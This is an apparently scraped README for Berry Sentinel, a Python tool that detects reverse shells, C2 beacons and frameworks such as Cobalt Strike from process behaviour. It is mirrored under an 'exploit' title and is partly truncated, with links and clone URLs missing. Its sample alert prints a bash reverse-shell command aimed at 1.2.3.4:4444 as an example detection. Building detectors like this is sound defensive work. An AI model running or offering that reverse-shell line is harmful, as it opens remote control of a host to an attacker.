Skip to content
BerrySentinel exploit

BerrySentinel exploit

Sploitus September 9, 2026

![Python 3.8+]( ![Platform]( ![License: MIT](

Berry Sentinelは、システム上のすべてのアクティブなネットワーク接続を監視し、それらを生成するプロセスの**振る舞い** を分析して悪意のある活動を検出します — アンチウイルスの署名データベースやブロックされたIPリストは使用しません。

リバースシェル、ウェブシェル、RAT、C2ビーコン、およびMeterpreter、Cobalt Strike、Sliver、Empireなどのフレームワークを、プロセスの**振る舞い方** を観察することで検出します。Pythonインタプリタのstdinがリモートソケットに接続されている場合、IPが不明でもそれは疑わしいと判断します。

╔══════════════════════════════════════════════════════════════════════════════════╗

║ BERRY SENTINEL v5.0 — Detector Conductual C2 · TUI Interactivo ║

║ Conexiones: 38 │ Amenazas: 2 │ Firmas: 1 │ via proc/open+ss │ 12ms │ #47 ║

╠══════════════════════════════════════════════════════════════════════════════════╣

║ ID SEV PTS PID PROC REMOTO ESTADO FIRMAS/TAGS ║

╠══════════════════════════════════════════════════════════════════════════════════╣

║ 3 █CRÍTICO 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║

║ 7 ▲ALTO 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║

╚══════════════════════════════════════════════════════════════════════════════════╝

* **cursesを使用した対話型TUI** : ↑↓ナビゲーション、接続詳細、統合キルエンジン

* **ビーコン検出** : 定期的な間隔でC2接続を識別(Cobalt Strike ~60秒、Empire ~5秒など)

* **14以上のC2フレームワーク認識** : Meterpreter、Cobalt Strike、Sliver、Empire、Havoc、Brute Ratel、Pupy、Merlin、Covenant、Mythic...

* **ディープスキャン(root権限)** : プロセスメモリ、RWX領域、環境変数、ディスクから削除された実行ファイルを分析

* **Bulletproof Collection** : 並列で5つの収集方法(/proc/net、ss、netstat、psutil、lsof)を使用し、自動重複排除

* **クロスプラットフォーム** : Linux、macOS、Windows、Android/Termux

* **JSONおよびログ出力** : jq、ELK、Splunk互換のJSONL形式でアラートを出力

* **基本モードではゼロ依存関係(stdlibのみ)** ; `psutil`はオプションで追加カバレッジを提供

git clone

python3 BerrySentinel.py --no-tui # Termuxではcursesが利用できない場合があります

curl -O

--all, -a ローカル/ループバック接続も含める(リモートに加えて)

--interval N, -i N N秒ごとに更新(デフォルト: 2、最小: 0.5)

--log FILE, -l FILE アラートをファイルに保存(JSONL形式)

--whitelist LISTA 無視するIPまたはCIDR(カンマ区切り)

--verbose, -v 疑わしいものだけでなく、すべての接続を表示

--no-tui cursesを使用しないレガシーモード(クラシックなスクロール、より移植性が高い)

python3 BerrySentinel.py --log /var/log/sentinel.log --json

python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

各接続には、検出された指標に基づいて**0から100のスコア** が割り当てられます:

Berry Sentinelは、以下のフレームワークのシグネチャを含みます(ポート、プロセス名、コマンドライン、ビーコンパターンによる評価):

"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",

"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],

jq 'select(.sev == "CRÍTICO")' sentinel.log

jq '[.pid] | unique' sentinel_export.json

jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

│ ├── SHELL_BINS, SCRIPT_ENGINES — シェルとインタプリタの名前

│ ├── C2_SUSPECT_PORTS — 一般的なC2ポート

│ ├── PRIVATE_NETS — プライベートIP範囲

│ └── C2_SIGNATURES — 既知のフレームワークシグネチャ

│ ├── parse_proc_net_content() — /proc/net/* パーサー

│ ├── build_inode_pid_map() — inode→PIDマップ

│ ├── get_proc_info() — /proc経由のプロセス情報

│ └── get_proc_info_psutil() — psutil経由のプロセス情報

│ └── match_signatures() — C2シグネチャマッチング

│ ├── LegacyTUI — cursesなしのANSI出力(フォールバック)

* `psutil` — オプションですが強く推奨(`pip install psutil`)

追加の依存関係がなくてもツールはPythonのstdlibで動作します。`psutil`は、`/proc`が存在しないmacOSやWindowsでカバレッジを追加します。

from BerrySentinel import C2Signature, C2_SIGNATURES

description="RAT interno corporativo no autorizado",

{"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},

{"type": "procname", "value": r"^mi_rat$"},

all=True, interval=10, log=None, json=False,

whitelist="192.168.0.0/16", no_color=True,

verbose=False, top=100, diag=False, no_tui=True

print(f"[ALERTA] PID {conn.pid} ({proc.name if proc else '?'}) "

f"→ {conn.remote_addr}:{conn.remote_port} "

f"score={conn.score:.0f} tags={conn.tags}")

from BerrySentinel import Engine, Conn, Sev

KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

Berry Sentinelは、**自身のシステム** または明示的な許可を得たシステムを**監視** するために設計されています。キルエンジンはユーザーが明示的に要求した場合にのみ動作します。責任を持って、該当する法令に従って使用してください。

Extracted Entities